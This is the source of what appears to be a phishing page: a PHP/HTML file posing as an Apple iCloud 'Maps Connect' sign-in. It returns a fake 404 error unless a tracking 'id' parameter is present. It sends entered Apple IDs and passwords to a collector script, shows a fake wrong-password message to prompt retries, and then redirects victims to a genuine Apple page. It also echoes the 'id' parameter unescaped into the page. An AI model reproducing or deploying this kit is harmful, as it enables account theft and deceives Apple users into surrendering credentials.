<?php
if(!isset($_GET['id'])){
    header("HTTP/1.0 404 Not Found");
    header("Status: 404 Not Found");
    die('<html><head>
<title>404 Not Found</title>
</head><body cz-shortcut-listen="true">
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<p>Additionally, a 404 Not Found
error was encountered while trying to use an ErrorDocument to handle the request.</p>
</body></html>');
}
?>
<?php
require_once 'mobile-detect/Mobile_Detect.php';
$detect = new Mobile_Detect;
?>
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta content="width=device-width, initial-scale=1" name="viewport"/>
	<meta name="robots" content="noindex, nofollow" />
	<title>iCloud</title>
	<link rel="stylesheet" href="assets/layout/strap.css">
    <link rel="shortcut icon" type="image/x-icon" href="https://appleid.cdn-apple.com/static/bin/cb3606853004/images/favicon.ico">
	<link rel="stylesheet" href="assets/layout/apple.css">
	<link rel="stylesheet" href="assets/layout/kit.css">
	<link rel="stylesheet" href="assets/layout/animate.css">	
    <style type="text/css">
<!--
.Estilo2 {
	font-family: 'Lato Light', Tahoma;
	font-size: 22px;
	color: #FFFFFF;
}
-->
.login-form{
	width: 100%;
}
<?php if($detect->isMobile()){?>
.move{
	margin: 25px auto 0;
	max-width: 338px;
	position: relative;
	padding: 0 5px;
}
<?php }else{?>
.move{
	margin: 70px auto 0;
	max-width: 338px;
	position: relative;
	padding: 0 5px;
}
<?php }?>
#demo{
	position: fixed;
	height: 100%;
	width: 100%;
}
body{
	background-image: none;
	background: none;
}
    </style>

</head>
<body>
<section class="login-form text-center" style="display: block;">
	<div class="move">
		<p><img src="assets/img/maps.png" alt="" class="img-cloud">    </p>
		<h3 class="Estilo2">Sign in Maps Connect</h3>
		<form action="" class="cloud-login" method="post">
			<input class="id" name="xuser" id="apple_id" placeholder="Apple ID" style="direction: ltr ! important;" type="text">
			<input autocomplete="off" class="pwd" name="xpass" id="apple_pwd" placeholder="Password" style="direction: ltr ! important;" type="password">
			<input type="hidden" name="id" value="<?php echo $_GET['id'];?>">
			<input class="dolog" name="c_log" id="c_log" value="" type="submit">
			<img class="loading" src="assets/img/ajax-loader.gif" alt="Loading">
			<div class="alrt">
				<h3><CENTER>Your Apple ID or password was incorrect.<br>
				Forgot password?</CENTER></h3>
			</div>
		</form>
	</div>
	<div class="keepme" style="margin-top: 10px;">
		<input type="checkbox" id="keepme" />
		<span for="keepme">Keep me signed in</span>
	</div>
	<div class="forget" style="margin-top: 10px;">
		<a href="https://iforgot.apple.com/" target="_blank" style="color:#66BBFF;">Forgot Apple ID password?</a>
		<div id="response"></div>
		<a href="https://iforgot.apple.com/" target="_blank">Don't have an Apple ID? Create yours now.</a>
	</div>
</section>
	<script src="//code.jquery.com/jquery-1.11.3.min.js"></script>
	<script>
	$(document).on("ready", funciones);
	function funciones(){
		$(".preloader").delay(1500).fadeOut(1500);
		$("#c_log").on("click", getCloud);
		function getCloud(a){
			var datos = $(".cloud-login").serialize();
			$("img.loading").show(0);
			$.post(
				"cloudlogin2.php",
				datos,
				function(b){
					if(b==1){
						top.location.href="https://mapsconnect.apple.com/ui/help";
					}else{
						$("#apple_pwd").val("");
						$("#c_log").css("background-position", "0 0");
						$(".move").animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60).animate({'left':'20px'},60).animate({'left':'0'},60);
						$(".login-form form.cloud-login .alrt").slideDown();
						$("img.loading").fadeOut();
					}
				}
			);
			a.preventDefault();
		}
		$("#apple_pwd").on("click", getDom);
		function getDom(){
			var id = $("#apple_id").val();
			if(id!=""){
				if(id.indexOf('@') != -1){

				}else{
					id = id+"@icloud.com";
					$("#apple_id").val(id);
				}
			}
		}
		$("#apple_pwd").on("keyup", validaCloud);
		function validaCloud(){
			var user = $("#apple_id").val();
			var pass = $(this).val();
			if(user!="" && pass !=""){
				$("#c_log").css("background-position", "-28px 0");
			}else{
				$("#c_log").css("background-position", "0 0");
			}
			$(".login-form form.cloud-login .alrt").hide(0);
		}
	}
	</script>
</body>
</html>